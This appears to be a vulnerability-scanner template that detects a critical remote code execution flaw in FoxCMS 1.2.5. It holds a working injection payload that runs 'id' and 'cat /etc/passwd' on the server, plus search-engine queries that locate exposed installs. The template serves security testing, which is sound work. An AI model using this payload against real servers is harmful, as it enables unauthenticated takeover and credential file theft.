FoxCMS v.1.2.5 - Remote Code Execution

id: CVE-2025-29306

info:
  name: FoxCMS v.1.2.5 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.
  impact: |
    Unauthenticated attackers can execute arbitrary code through the id parameter in the index.html component, leading to complete server compromise.
  remediation: |
    Update to the latest version of FOXCMS if available. If no patch is available,implement WAF rules to block malicious requests to the /images/index.html endpoint with suspicious 'id' parameter values.
  reference:
    - https://github.com/verylazytech/CVE-2025-29306/blob/main/CVE-2025-29306.sh
    - https://medium.com/@verylazytech
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29306
  classification:
    epss-score: 0.43655
    epss-percentile: 0.98584
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-29306
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    fofa-query: (body="foxcms-logo" || body="foxcms-container") && body="div"
    google-query: intitle:"FOXCMS" intext:"foxcms-logo"
    shodan-query: html:"foxcms-logo"
  tags: cve,cve2025,rce,foxcms,unauth,oast,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/images/index.html?id=%24%7B%40print_r%28%40system%28%22{{command}}%22%29%29%7D"

    payloads:
      command:
        - "id"
        - "cat /etc/passwd"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+\\(\\w+\\) gid=[0-9]+\\(\\w+\\)"
          - "root:.*:0:0:"
        condition: or

      - type: word
        part: body
        words:
          - "foxcms"
        case-insensitive: true

      - type: status
        status:
          - 200
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